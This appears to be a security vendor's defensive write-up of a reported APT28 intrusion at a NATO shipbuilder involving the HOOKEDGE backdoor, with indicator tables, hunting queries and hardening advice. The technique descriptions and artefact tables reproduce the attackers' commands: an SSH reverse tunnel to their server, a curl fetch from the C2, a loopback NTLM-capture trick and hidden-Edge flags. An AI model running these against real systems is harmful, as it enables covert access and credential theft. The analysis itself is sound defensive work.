Symantec reported on 20 October 2026 that APT28, which it tracks as Swallowtail, breached a naval shipbuilder in a NATO country using a macro document, the HOOKEDGE backdoor, Windows' built-in SSH client and a new in-memory loader called ld.exe. Defence suppliers should hunt the published hashes and the 185.82.218.119 address, and review SSH, macro and NTLM controls now.
This is not a story about a software vulnerability. No CVE was exploited and there is nothing to patch. Every step after the first click used something already on the machine: Word, Microsoft Edge, curl, PowerShell and the OpenSSH client that ships with Windows. That is exactly why it is worth reading closely. Most organisations have tuned their alerts for malware they can name. Far fewer have alerts for a workstation opening an SSH session to the internet on port 80, or for Edge running in a one pixel window parked ten thousand pixels off screen.
This post walks through what Symantec's Threat Hunter Team published, step by step, with the full indicator list, the commands defenders can run to look for each stage, and what any team supplying a defence programme can change this week. It also says plainly where Safeguard fits and where it does not. Safeguard does not do endpoint malware detection, and it would not have seen this intrusion.
What happened
According to Symantec's research post, Swallowtail targeted organisations in two NATO member states. The three named sectors are a law enforcement agency, a naval shipbuilder and a manufacturer of military aircraft engines. Symantec did not name the organisations or the countries, and neither does any of the reporting that followed. The detailed technical narrative in the report covers the shipbuilder, which Symantec describes as the most active target.
The backdoor at the centre of the case is HOOKEDGE. Recorded Future's Insikt Group first documented it in late August 2026, tracking the operators as BlueDelta, after a campaign that ran from late September 2025 to early April 2026 against government and diplomatic bodies in Romania, Spain and Türkiye. Symantec's contribution is the post exploitation chain. In its words, what it saw "goes beyond the delivery mechanism" that had been publicly reported until then.
The short version of the chain at the shipbuilder:
- On the afternoon of 24 July 2026, a user opened a macro enabled Word document directly from the Outlook attachment cache.
- The macro dropped four files into the user profile and started a hidden Edge window that fetched commands from webhook.site.
- Within minutes, the operators ran connectivity checks and basic reconnaissance.
- On the morning of 27 July, a second stage moved command and control from webhook.site to a dedicated server at 185.82.218.119, using HTTPS on port 443.
- The same day, the operators placed an SSH private key at
C:\ProgramData\Adobe\id_rsaand used the built-in Windows OpenSSH client to open a persistent, backgrounded tunnel toroot@185.82.218.119over port 80, giving them a route into the internal network. - Also on 27 July, a short PowerShell script captured NTLM authentication material by making the machine authenticate to a listener on its own loopback interface.
- On 28 July, the operators killed the SSH process.
- On the morning of 31 July, they pushed
ld.exeandEvents.dattoC:\ProgramDataand ran the loader with a key on the command line. The payload insideEvents.datwas not recovered. - The loader and the HOOKEDGE launcher were still present in late August, and the launcher was seen again on 24 September 2026.
Symantec's principal intelligence analyst Dick O'Brien told CyberScoop that this was hands on keyboard activity, explaining that it "means a human operator is choosing what to do next." The operators came back to the same host repeatedly over about a week.
The timeline
Symantec gives dates and rough times of day, not timestamps. Where the report says "afternoon" or "morning", the table says the same. No source published minute level times for this intrusion, so this table does not invent them.
| Date (2026) | Time given | Event | Source |
|---|---|---|---|
| Late Sep 2025 to early Apr 2026 | n/a | Earlier HOOKEDGE campaign against government and diplomatic targets in Romania, Spain and Türkiye | Recorded Future via The Hacker News, Security Affairs |
| 24 Jul | Afternoon | Macro document opened from the Outlook attachment cache at the shipbuilder; four files dropped to the user profile | Symantec |
| 24 Jul | Minutes after execution | Canary curl to webhook.site, then reachability probes to Dropbox, Google, Microsoft, Mega, example.com and 23.220.75.245; proxy, session, network, system, process and directory discovery | Symantec |
| 25 to 26 Jul | n/a | Gap of about three days with no new operator tasks | Symantec |
| 27 Jul | Morning | VBS launcher with a random filename and the same hash as before runs; second stage batch fetches tasks from https://185.82.218.119:443/<GUID> | Symantec |
| 27 Jul | Same session | Seven tasks in about 30 seconds, starting with whoami | Symantec |
| 27 Jul | Same day | Key file downloaded, renamed to id_rsa, moved to C:\ProgramData\Adobe\, permissions changed with icacls and cacls | Symantec |
| 27 Jul | Same day | ssh.exe tunnel to root@185.82.218.119 on port 80 with remote forward -R 185.82.218.119:48097; internal DNS and ping checks follow | Symantec |
| 27 Jul | Same day | PowerShell HttpListener on http://localhost:8080/; net use against the loopback listener captures NTLM Authorization headers | Symantec |
| 27 Jul | Same day | whoami /all, net groups, net group Administrators, ipconfig /all | Symantec |
| 28 Jul | Next day, then "a few hours later" | DNS lookups of two more internal hosts, one apparently a mail server; systeminfo, tasklist, wmic qfe hotfix listing | Symantec |
| 28 Jul | Same day | taskkill /f /t /im ssh.exe closes the tunnel; Symantec does not say why | Symantec |
| 29 to 31 Jul | Bursts | Beaconing continues in bursts | Symantec |
| 30 Jul | Afternoon | ld.exe staged | Symantec |
| 31 Jul | Morning | ld.exe and Events.dat placed in C:\ProgramData by fetch and rename; loader runs with a 32 character hex key | Symantec |
| 31 Jul | Same day | net user, the last distinct operator command | Symantec |
| Late Aug | n/a | ld.exe and the generic VBS launcher still present | Symantec |
| 28 Aug | n/a | Recorded Future publishes its HOOKEDGE research | The Hacker News, Security Affairs |
| 31 Aug | n/a | Cloud Security Alliance research note on HOOKEDGE | CSA |
| 24 Sep | n/a | HOOKEDGE VBS launcher observed again on the shipbuilder's network | Symantec, The Hacker News |
| 20 Oct | n/a | Symantec publishes; The Hacker News and CyberScoop report the same day | Symantec, The Hacker News, CyberScoop |
Who is affected
| Group | Status | What it means for you |
|---|---|---|
| Naval shipbuilder, NATO member state (unnamed) | Compromised; detailed in Symantec's report | The reference case for the hunting steps below |
| Military aircraft engine maker, NATO member state (unnamed) | Targeted, per Symantec | Symantec gives no dates or technical details for this victim |
| Law enforcement agency, NATO member state (unnamed) | Targeted, per Symantec | No dates or technical details published |
| Government and diplomatic bodies in Romania, Spain, Türkiye | Targeted in the earlier HOOKEDGE campaign, per Recorded Future | Same backdoor family, different delivery details |
| Defence industrial base suppliers in NATO states | Not named as victims | The 2025 joint advisory AA25-141A lists the defence industry and maritime among GRU unit 26165's target sectors |
| Any Windows estate with Office macros, in-box OpenSSH and NTLM enabled | Exposed to the same techniques | None of the tools used require a vulnerability |
CyPro's bulletin raises a fair caveat: the 24 September detection is not tied to a specific victim in all of the secondary reporting. Symantec's own post places that launcher sighting on the shipbuilder's network, and The Hacker News reports it the same way.
How the chain works
This section explains each stage in plain language so that defenders know what to look for. It contains no payloads and no step by step attack instructions.
Stage 0: the document and the Outlook cache
The first stage was a Word document carrying an obfuscated VBA macro. Symantec says the macro used fragmented strings, which breaks the long recognisable strings that simple static scanning looks for. The AutoOpen routine wrote four files into the user's profile: a VBScript launcher, a pair of HTML or XHTML files that automatically submit a hidden form to a webhook address, and a batch script.
The detail that matters most for prevention is where the document was opened from. Symantec says it was opened "directly from the Outlook attachment cache." Outlook stores attachments a user opens in a temporary folder before handing them to Word. Symantec does not give the path. On most current installs that folder sits under the user's local INetCache in a Content.Outlook subfolder with a random name, which is a useful place to look during triage.
Microsoft has blocked VBA macros in files from the internet by default since Version 2206 of the Current Channel, rolled out from 27 July 2022, and its documentation lists email attachments among the files that carry Mark of the Web. Symantec does not say why the macro was able to run here. Possibilities that apply to any organisation include an older Office channel, a policy that disables the block, a file previously marked as a Trusted Document, or a Trusted Location. We do not know which, if any, applied at the shipbuilder, and this post does not guess. The lesson for everyone else is to confirm that the block is actually in force on your own estate, not to assume it.
Stage 1: Edge as the HTTP client
HOOKEDGE's signature trick is to use Microsoft Edge as its network client. Recorded Future called this out in August: "A notable aspect of HOOKEDGE is its use of msedge.exe for both tasking and exfiltration." The reasoning is simple. Outbound traffic from the browser looks like browsing, so proxies and firewalls that allow Edge out will usually allow these requests out too.
At the shipbuilder, Symantec documented the batch script killing any running Edge with taskkill /f /im msedge.exe, deleting leftover partial downloads (*.000, *.tmp, *.crdownload) from the Downloads folder, and then starting msedge.exe with three distinctive flags:
--window-size=1,1--window-position=10000,10000--ignore-certificate-errors
The browser was handed a base64 encoded data:text/html page containing JavaScript. That script used the browser's fetch function to pull a task, which landed on disk as a GUID named .000 file. The batch script copied it to a .cmd file, ran it, and uploaded the output back to webhook.site.
Recorded Future's earlier write up, summarised by the Cloud Security Alliance, says the first variants ran Edge headless and later moved to a hidden window mode. Symantec's command line shows the hidden window approach and does not mention a headless flag. For detection, look for both.
Stage 1 reconnaissance: route testing
Within minutes of the document opening, the operators sent a canary curl to their webhook.site endpoint and then probed a set of well known services: dl.dropboxusercontent.com, accounts.google.com, login.microsoftonline.com, mega.nz/file, example.com over HTTP and HTTPS, and the bare address http://23.220.75.245. Symantec presents this as a test of which routes out of the network were open. It does not establish 23.220.75.245 as attacker infrastructure. Treat it as context for hunting, not as a block list entry.
The rest of the first session was routine discovery: a proxy and WPAD query, logged on sessions, ipconfig /all, systeminfo, the process list, and directory listings of the user profile, Downloads, Desktop, Documents and both Program Files folders.
Stage 2: a dedicated server
Recorded Future's research showed HOOKEDGE living entirely on webhook.site, a legitimate developer testing service. The free tier caps each endpoint at 100 requests, which is why, according to the Cloud Security Alliance summary, the operators spread work across 32 endpoints and stretched the beacon interval from 30 to 61 minutes.
At the shipbuilder, after a gap of about three days, a second stage batch script used curl -k to fetch tasks from https://185.82.218.119:443/<GUID> instead. CyberScoop's summary of Symantec's findings puts it well: the operators moved their most sensitive follow up activity to a dedicated server rather than continuing to hop between free services. The GUID 53379b62-8020-41cf-af57-effa6e1e8506 named both the installer and its scheduled task, and command output was uploaded under the session GUID 5b73dc69-d765-4440-a4d2-e9eb33283eb9. Each task followed the same wrapper: acknowledge with a POST, write output to a random file, upload it, delete the temporary files.
Stage 3: the SSH key and the tunnel
This is the part of the report that makes it unusual. On 27 July the operators downloaded a key file, renamed it id_rsa, moved it to C:\ProgramData\Adobe\id_rsa, and changed its ownership and access control lists with icacls and cacls. Recent Windows versions are strict about private key file permissions, and an SSH client will refuse a key that other users can read. The permission change fits that requirement.
They then ran Windows' own OpenSSH client, C:\Windows\System32\OpenSSH\ssh.exe, with options that only make sense for an automated, unattended connection to an unknown host:
| Option seen | What it does |
|---|---|
-i C:\ProgramData\Adobe\id_rsa | Use the planted private key |
-o IdentitiesOnly=yes | Use only that key, ignore any agent |
-o StrictHostKeyChecking=no | Accept the server's host key without asking |
-o UserKnownHostsFile=NUL | Write no known hosts record to disk |
-o PubkeyAcceptedKeyTypes=+ssh-rsa and -o HostKeyAlgorithms=+ssh-rsa | Re-enable the legacy RSA SHA-1 signature type that modern OpenSSH disables by default |
Connection to root@185.82.218.119 on port 80 | SSH over port 80, which egress rules often allow for web traffic |
-R 185.82.218.119:48097 | Ask the remote server to forward a port back through the tunnel |
-N and -f | Run no remote command and go to the background |
A remote forward of this kind turns the compromised workstation into a doorway. The operators' server can send connections back through the tunnel into the shipbuilder's internal network, with the workstation as the relay. Symantec says the tunnel was followed by DNS and ping checks against internal hostnames, which is what you would expect when someone starts looking around through it.
Symantec's text describes the result as a persistent, backgrounded tunnel that gave a route into the internal network. It also notes that a bare port number with -R requests a dynamic, SOCKS style forward, while the command it shows uses an address and port. We cover that inconsistency under open questions.
There is a second, quieter point here. The private key itself is now an indicator. Whoever holds the matching public key controls the server side. If your hunt finds an unexplained private key in a shared folder such as C:\ProgramData, preserve it for your responders before removing it.
Stage 3b: capturing NTLM on loopback
The second credential technique did not touch the network at all. A short PowerShell script created a System.Net.HttpListener on http://localhost:8080/. A background job then ran net use f: \\localhost@8080\c$, which tells Windows to reach the c$ share over HTTP on port 8080 of the local machine. Symantec describes this as SMB over HTTP. The listener answered with a 401 and a WWW-Authenticate: NTLM header using a fixed, pre built NTLM challenge, and captured up to four Authorization headers that Windows sent back.
The result is NTLM challenge and response material for the logged on user, obtained without sending anything to another host and without touching LSASS. Cyber Press notes that this does not prove plaintext passwords were recovered. Material of this kind can be attacked offline, and a weak password falls quickly. The fixed challenge matters for that offline step, which is why defenders should treat any hit as a credential exposure and rotate.
Stage 4: ld.exe and Events.dat
On 31 July the operators placed ld.exe and Events.dat in C:\ProgramData and ran:
C:\ProgramData\ld.exe <32 hex character key> C:\ProgramData\Events.dat
Symantec describes ld.exe as a previously undocumented reflective loader. It decrypts the data file in memory, calls an exported function named ExecuteLoader, and the decrypted content begins with the marker ADSA (0x41534441). The key Symantec published for this run is DE063CF3F2E2A83E7B1A277C052A340E. Symantec does not name the cipher. Because Events.dat was not recovered, nobody outside the operators knows what it contained. O'Brien told CyberScoop: "We didn't recover it, so we don't know its function."
The loader design has one practical consequence for responders. Without the command line key, the data file is just noise. If you find a file like Events.dat, also pull the process creation logs for the matching ld.exe run, because the key is in the arguments.
What came after
The last distinct operator command Symantec saw was net user on 31 July. The loader and the launcher were still there in late August, and the launcher ran again on 24 September. Symantec says it could not tell whether that last sighting reflected renewed interest or a scheduled task that was still firing. Recorded Future's August research described HOOKEDGE persistence as a scheduled task with a GUID style name that runs every 30 minutes, so the second explanation is at least consistent with how the backdoor is built.
Technical details
Every value below comes from Symantec's 20 October post unless another source is named. File indicators are SHA-256. Network indicators are defanged the way Symantec published them; refang them only inside your security tools. Copy hashes from this table or from Symantec's post into your tools rather than retyping them.
File hashes
| SHA-256 | Symantec label |
|---|---|
4a43aacffc2d8d76f7abac729238779b6c99b10ee09f54c2cea1654a91561303 | HOOKEDGE dropper |
e068794cf43e381b26c82d746cca107b9f84327a2a8308d5b87ea5529963c4c8 | HOOKEDGE dropper |
e8be50171436550e1edd8b4946d2adc0870e97465f67526ea252bff0815abcbe | HOOKEDGE dropper |
60ef547ebd2f4252e286db762980481b0da23dcd2c84465509735544c0a9c2b3 | HOOKEDGE dropper |
1bb1b27e1695c726c7c1d3d4935f9318afc6f5fd9015d7cf3890f0eb7bf8d47e | HOOKEDGE dropper |
a3b44405112e6364447e5d96630edfabcf81e5ad37d690c3ebc73770d62aeabd | HOOKEDGE dropper |
6678049918dda2d5859de0a95e0573fec9496c62bbe72967ae0d3deeb5bda68f | HOOKEDGE dropper |
c2c9187033d22d7944ea9298461a0ac693ef2774b4ce08b0955d2aba3646fb44 | HOOKEDGE dropper |
ea525336b787c2fd3dbc4b3e9a3a78f71004e1bd43e2e1ed953edad51118cb72 | HOOKEDGE dropper |
5709e5e1496410d4b9ac5a3bd8be3ec4595f881b4865ebf6e490784b56105645 | HOOKEDGE dropper |
49e276498fc4e7d65ebf9fa2acf64ec2a0c25e75ac621cd6a203d64fb75aa495 | HOOKEDGE dropper |
39d21c1b8ab2f08c75a1cb7d18433a8b207c71ec1d266bb049b54b7eaf01d67b | HOOKEDGE dropper |
1bff55104206d3f55cd72ca58ffecd2fa620a428c5a3c6987d3c4cc68285d335 | HOOKEDGE dropper |
e94402a9886d4433ccad0ced0cd4f22d055d1f0f7e4155dbec992433eb94e00c | HOOKEDGE dropper |
2fceca3460a35eea2b21c47d73c27c27edae95d2ae29ffb4ec2222d1a223b4bd | HOOKEDGE dropper |
68613e232d0893e61ad29906daee2312bd4c4e940f4d0c9e702e7c35a256d0f7 | HOOKEDGE dropper |
a92413d4951a28822ec85e5c0d1948d4160b91388c5f3d86504611fc286a4d13 | HOOKEDGE dropper |
063930af6a4aad06d8f8aab43226bf6dcddd2c79aa505894ee95876cf9254543 | HOOKEDGE VBS launcher |
d74c65e6d35d3b2a80686f059590f919316ecaf4ed539192e904d675ba5c7a40 | HOOKEDGE VBS launcher |
aafbc096e20f259df9166f837d0baf7333f177e6f383ca7cb9215936ecbe7f5e | HOOKEDGE VBS launcher |
f1cc91e7427a22027f65d31bbee19c54b602d08d7d93e4745b9cea59fa8132ff | ld.exe, reflective loader |
That is 17 dropper hashes, 3 VBS launcher hashes and 1 loader hash. Recorded Future published a separate set of 26 SHA-256 hashes and 32 webhook.site URLs for the earlier campaign, according to the Cloud Security Alliance; those are in Recorded Future's report and are not reproduced here.
Network indicators
| Indicator | Role per Symantec | Recommended use |
|---|---|---|
185.82.218[.]119 | Tasking and exfiltration over HTTPS on 443; SSH server on port 80; remote forward on 48097 | Block outbound and search historical logs on all ports |
hxxps://webhook[.]site/890efd8d-6e9e-428a-bcf9-987745d71000 | Stage 1 endpoint | Search proxy logs |
hxxps://webhook[.]site/53379b62-8020-41cf-af57-effa6e1e8506 | GUID also used to name the second stage installer and scheduled task | Search proxy logs and scheduled task names |
hxxps://webhook[.]site/5b73dc69-d765-4440-a4d2-e9eb33283eb9 | GUID also used as the C2 upload session | Search proxy logs |
hxxps://webhook[.]site/d828b9fc-5435-4b1c-881f-d6350c11d0b6 | HOOKEDGE endpoint | Search proxy logs |
hxxps://webhook[.]site/ca3c058e-3c88-449b-8299-822cd5d5e17c | HOOKEDGE endpoint | Search proxy logs |
23.220.75[.]245 | Hard coded connectivity probe; not established as attacker infrastructure | Hunt context only; do not block blindly |
localhost:8080 | Loopback NTLM capture listener | Host telemetry, not network blocking |
Host artefacts and command lines
| Artefact | Detail |
|---|---|
| SSH private key | C:\ProgramData\Adobe\id_rsa, ACLs changed with icacls and cacls |
| SSH client | C:\Windows\System32\OpenSSH\ssh.exe |
| SSH target | root@185.82.218.119, port 80 |
| SSH remote forward | -R 185.82.218.119:48097 with -N -f |
| SSH options | IdentitiesOnly=yes, StrictHostKeyChecking=no, UserKnownHostsFile=NUL, PubkeyAcceptedKeyTypes=+ssh-rsa, HostKeyAlgorithms=+ssh-rsa |
| Tunnel teardown | taskkill /f /t /im ssh.exe on 28 July |
| Edge flags | --window-size=1,1, --window-position=10000,10000, --ignore-certificate-errors, base64 data:text/html page |
| Edge cleanup | taskkill /f /im msedge.exe; deletion of %userprofile%\Downloads\*.000, *.tmp, *.crdownload |
| Task files | GUID named .000 file copied to .cmd and executed |
| Stage 2 fetch | curl -k to https://185.82.218.119:443/<GUID> |
| NTLM capture | PowerShell System.Net.HttpListener on http://localhost:8080/; net use f: \\localhost@8080\c$; 401 with WWW-Authenticate: NTLM |
| Loader | C:\ProgramData\ld.exe with key DE063CF3F2E2A83E7B1A277C052A340E and C:\ProgramData\Events.dat |
| Loader internals | Export ExecuteLoader; decrypted data starts with ADSA (0x41534441); cipher not named |
| Discovery commands | whoami, whoami /all, net groups, net group Administrators, ipconfig /all, systeminfo, tasklist, wmic qfe get HotFixID InstalledOn Description, net user |
| Canary filenames (earlier campaign, per Recorded Future) | mailopened.jpg, docopened.jpg, later doc.jpg |
Software abused, versions and status
There is no vulnerable version and no fixed version in this case. The table lists the legitimate components the operators used and the relevant built-in controls.
| Component | Role in the chain | Relevant control and version facts |
|---|---|---|
| Word VBA macros | Initial execution | Microsoft blocks macros in internet files by default from Current Channel Version 2206 (rolled out from 27 July 2022), Monthly Enterprise Channel Version 2208 (11 Oct 2022) and Semi-Annual Enterprise Channel Version 2208 (10 Jan 2023). Only Office on Windows is affected by the change |
| Microsoft Edge | HTTP client for tasking | No flaw involved; detect by command line flags and parent process |
| Windows OpenSSH client | Tunnel and key based authentication | In-box Feature on Demand on Windows 10 build 1809 and later and Windows Server 2019 and later; capability name OpenSSH.Client~~~~0.0.1.0 |
curl.exe | Stage 2 fetches | In-box on current Windows |
| NTLM | Credential material capture | "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" supports Audit all and Deny all |
| CVE | None | Symantec and CyPro both state no product vulnerability was involved |
Names and attribution
| Name | Who uses it |
|---|---|
| Swallowtail | Symantec |
| APT28 | Common industry name; MITRE ATT&CK group G0007 |
| Fancy Bear, Sofacy, Sednit, Pawn Storm, STRONTIUM | Older vendor names listed by MITRE |
| Forest Blizzard | Microsoft |
| BlueDelta | Recorded Future |
| GRU 85th GTsSS, military unit 26165 | US government attribution, joint advisory AA25-141A and MITRE |
What changed since first reports
HOOKEDGE was public for less than two months before this report, and the picture has shifted in several ways.
- From diplomats to defence manufacturing. Recorded Future's August targets were government and diplomatic bodies. Symantec's October victims include a naval shipbuilder and an aircraft engine maker. Security Affairs noted in August that Recorded Future's headline mentioned defence, but its body described no defence victims. Symantec's report is the first public account of defence manufacturing victims for this backdoor.
- From free webhooks to a dedicated server. The August research described HOOKEDGE as living on webhook.site. Symantec saw the second stage move to 185.82.218.119 over HTTPS.
- From a backdoor to a full intrusion. Earlier reporting stopped at the backdoor. Symantec documented credential theft, an SSH tunnel and a new loader, which is the first public description of what the operators do after HOOKEDGE lands.
- New tooling.
ld.exewas previously undocumented. - Dwell time phrasing. Cyber Press headlined "two months". The documented hands on keyboard activity spans 24 to 31 July, about a week, which is how The Hacker News and CyberScoop describe it. The later August and September sightings show the implant was still present, not that someone was actively at the keyboard.
Open questions
- What was in Events.dat? Not recovered. The function of the final payload is unknown.
- Which cipher does ld.exe use? Symantec does not say.
- Was data stolen? The Hacker News reports it is unclear whether any data was taken.
- Was the forward dynamic or fixed? Symantec's text says a bare port with
-Rgives a SOCKS style forward, but the command it shows has an address and port. The practical outcome, a route into the internal network, is the same either way. - Why was the tunnel closed after a day? Symantec does not say.
- How did the macro run? The report does not say whether a policy, a trusted location or a trusted document state let the macro execute despite Microsoft's default block.
- What happened at the other two victims? No dates or technical details have been published for the law enforcement agency or the engine maker, and CyPro cautions against assuming they received the same lure.
- How strong is the attribution? Symantec attributes the activity to Swallowtail. Recorded Future's August attribution of HOOKEDGE to BlueDelta was at moderate confidence, based on code and tradecraft overlap with HEADLACE. These are vendor assessments, not court findings.
What to do now
The steps below are for Windows estates, with log searches that work from any analysis host. Run hunting commands from an administrative session and keep results; if you find anything, stop and preserve evidence before cleaning.
1. Sweep for the published hashes
Save the 21 hashes from the table above to iocs.txt, one per line, then compute and compare on suspect hosts:
$iocs = Get-Content .\iocs.txt | ForEach-Object { $_.Trim().ToLower() }
$paths = @("C:\ProgramData", "$env:USERPROFILE", "$env:LOCALAPPDATA\Microsoft\Windows\INetCache")
Get-ChildItem -Path $paths -Recurse -File -ErrorAction SilentlyContinue |
Where-Object { $_.Length -lt 50MB } |
ForEach-Object {
$h = (Get-FileHash $_.FullName -Algorithm SHA256).Hash.ToLower()
if ($iocs -contains $h) { "$h $($_.FullName)" }
}
On a large estate, push the hash list into your endpoint tool instead. Hash matching only finds these exact files; the operators change filenames freely and Symantec saw the launcher reused under a random name.
2. Look for the planted key and loader
Test-Path "C:\ProgramData\Adobe\id_rsa"
Get-ChildItem C:\ProgramData -Recurse -Force -Include id_rsa,id_ed25519,*.pem -ErrorAction SilentlyContinue |
Select-Object FullName, Length, LastWriteTime
Get-ChildItem C:\ProgramData -Force -Include ld.exe,Events.dat -ErrorAction SilentlyContinue
Get-Acl "C:\ProgramData\Adobe\id_rsa" -ErrorAction SilentlyContinue | Format-List
A private key in a machine wide folder that a normal user profile created is rare. Treat any hit as an incident until proven otherwise.
3. Find ssh.exe running with remote forwards
Live processes:
Get-CimInstance Win32_Process -Filter "Name='ssh.exe'" |
Select-Object ProcessId, ParentProcessId, CreationDate, CommandLine
Historical process creation, if you collect Sysmon event ID 1 or Windows Security event 4688 with command lines:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} -ErrorAction SilentlyContinue |
Where-Object { $_.Message -match 'OpenSSH\\ssh\.exe' -and $_.Message -match ' -R ' } |
Select-Object TimeCreated, Message
If you use Microsoft Defender for Endpoint advanced hunting, a starting query:
DeviceProcessEvents
| where FileName =~ "ssh.exe"
| where ProcessCommandLine has_any ("-R ", "StrictHostKeyChecking=no", "UserKnownHostsFile=NUL", "+ssh-rsa")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
On a typical office estate, ssh.exe with -R connecting to an internet address is close to zero noise. Developer and IT admin machines will have legitimate SSH, so scope by device group.
4. Find hidden Edge windows started by scripts
DeviceProcessEvents
| where FileName =~ "msedge.exe"
| where ProcessCommandLine has_any ("--window-position=10000", "--window-size=1,1", "--headless", "data:text/html")
| where InitiatingProcessFileName in~ ("cmd.exe", "wscript.exe", "cscript.exe", "powershell.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
The parent process is the strongest signal. Edge started by a user clicking an icon has explorer.exe as its parent, not a batch script.
5. Review scheduled tasks with GUID names
Get-ScheduledTask | Where-Object { $_.TaskName -match '^[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}$' } |
ForEach-Object { [pscustomobject]@{ Name=$_.TaskName; Path=$_.TaskPath; Action=($_.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments)" }) -join '; ' } }
Look in particular for a task named 53379b62-8020-41cf-af57-effa6e1e8506, and any task whose action runs a .vbs or .bat file from a user profile. The Cloud Security Alliance recommends reviewing scheduled tasks that run scripts from %userprofile% with GUID filenames.
6. Hunt for the loopback NTLM trick
Search PowerShell script block logging (event ID 4104) for the listener:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -ErrorAction SilentlyContinue |
Where-Object { $_.Message -match 'HttpListener' -and $_.Message -match 'localhost:8080' } |
Select-Object TimeCreated, Message
And search process creation for net use against a loopback HTTP path, for example a command line containing \\localhost@ followed by a port. Legitimate software almost never maps a drive to itself over HTTP.
7. Search network logs
From a proxy, firewall or Zeek export on any Linux or macOS analysis host:
grep -E '185\.82\.218\.119' proxy-*.log firewall-*.log
grep -E 'webhook\.site/(890efd8d|53379b62|5b73dc69|d828b9fc|ca3c058e)' proxy-*.log
# Zeek: SSH protocol on a non standard port
zcat ssh.*.log.gz | zeek-cut ts id.orig_h id.resp_h id.resp_p client server | awk '$4 != 22'
Zeek identifies SSH by protocol, not port, so an SSH handshake to port 80 shows up in ssh.log. That single query is one of the best ways to catch this technique across a network.
8. Block the infrastructure and the behaviour
# Block the published C2 address on Windows hosts
New-NetFirewallRule -DisplayName "Block Swallowtail C2 185.82.218.119" -Direction Outbound -RemoteAddress 185.82.218.119 -Action Block
# Block the in-box SSH client from reaching the network on machines that do not need it
New-NetFirewallRule -DisplayName "Block OpenSSH client egress" -Direction Outbound -Program "%SystemRoot%\System32\OpenSSH\ssh.exe" -Action Block
Or remove the client where nobody uses it, using the capability name from Microsoft's documentation:
Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
Remove-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0
At the perimeter, allow outbound port 80 and 443 only through your proxy, so a raw SSH handshake on port 80 fails instead of passing as web traffic.
9. Confirm the macro block is really on
Microsoft's guidance is to enable "Block macros from running in Office files from the Internet" for Word, Excel and the other Office apps, under User Configuration\Policies\Administrative Templates\Microsoft Word 2016\Word Options\Security\Trust Center and the matching paths for each app. To spot check a machine:
reg query "HKCU\Software\Policies\Microsoft\Office\16.0\Word\Security" /v blockcontentexecutionfrominternet
A value of 1 means the policy is set. Also check the Office update channel and version, because the default block arrived per channel. To see whether a specific file carries Mark of the Web, Microsoft documents reading its Zone.Identifier stream; a ZoneId of 3 means Internet.
Get-Content .\suspect.docm -Stream Zone.Identifier
10. Start measuring NTLM
Set "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" to Audit all first, as Microsoft recommends, then read the results in Applications and Services Logs\Microsoft\Windows\NTLM:
Get-WinEvent -LogName 'Microsoft-Windows-NTLM/Operational' -MaxEvents 200 | Select-Object TimeCreated, Id, Message
The 2025 joint advisory on GRU unit 26165 recommends planning to disable NTLM and blocking and alerting on NTLM and SMB requests to external hosts. Audit mode tells you what would break before you move to Deny all.
11. If you find a hit
- Isolate the host from the network but keep it powered on so memory can be captured;
ld.exedecrypts its payload in memory. - Collect the
ld.execommand line, which contains the decryption key, before the logs roll. - Preserve
id_rsaand record which accounts could read it. - Reset the password of every account that was logged on during the NTLM capture window, and treat any credential typed on that machine since 24 July equivalent as exposed.
- Review every internal host the workstation could reach while a tunnel was up, starting with the hosts it looked up in DNS.
- Report to your national CERT and, for defence contractors, through your contractual incident reporting channel.
What would have helped
None of these controls would make a patient state operator give up. Each one removes a step or makes it loud.
Practices any team can use
- Macro policy you have verified, not assumed. Enforce the internet macro block by policy and audit it. Most staff never need macros at all; Microsoft's own baseline suggests "Disable all without notification" for those users.
- Treat the built-in SSH client as a tool, not a given. Windows ships
ssh.exeand most office users never use it. Remove it, block it by program rule, or at minimum alert when it runs with-R,-D,StrictHostKeyChecking=noor a key from a shared folder. - Egress through a proxy only. A workstation should not be able to open a raw TCP session to an arbitrary internet address on port 80 or 443. If it can, SSH, and many other protocols, pass as web traffic.
- No unprotected private keys on endpoints. For people who do need SSH, use hardware backed keys or short lived SSH certificates from an internal CA, so a key copied from disk is useless or expires quickly.
- Detect browsers driven by scripts. Edge started by
cmd.exeorwscript.exe, with a one pixel window or a headless flag, is a strong signal. Recorded Future and the Cloud Security Alliance both recommend monitoring for headless or hidden Edge. - Shrink NTLM. Audit outbound NTLM, require SMB signing, enable Extended Protection for Authentication where supported, and move to Kerberos with phishing resistant MFA.
- Watch for developer webhook services. Inventory which webhook relay and request inspection services are reachable from managed endpoints, as the Cloud Security Alliance suggests, and route them through monitoring or block them where there is no business need.
- Keep logs long enough. The launcher was still firing two months after the first click. Process creation and proxy logs kept for 30 days would have shown little of the July activity by late September.
- Push requirements down the supply chain. A shipbuilder's prime contractor and its own subcontractors share exposure. Put these specific controls into supplier security requirements and ask for evidence, rather than a yes on a questionnaire.
Where Safeguard fits
The boundary first. Safeguard does not do endpoint malware detection. It does not run on employee workstations to watch processes, it would not have seen a Word macro start Edge, it does not monitor ssh.exe or PowerShell, and it does not inspect network traffic for command and control. It would not have detected or prevented this intrusion. Every hunting step above happens in your endpoint, logging and network tools.
Where Safeguard can help is around the intrusion: the software your organisation builds, the suppliers it depends on, and the evidence that controls are in place.
- Supplier and vendor risk evidence. Safeguard's compliance and GRC suite includes vendor records, questionnaires, risks, policies and evidence collection. A defence prime can record which suppliers have confirmed controls like the macro block, SSH restrictions and NTLM audit, attach the evidence, and track gaps as risks with owners. That does not stop an intrusion at a supplier, but it turns "do you block macros" from a checkbox into something you can verify and revisit.
- Know what is in the code and images you ship. If an engineering workstation is compromised, the next question is what it could have touched.
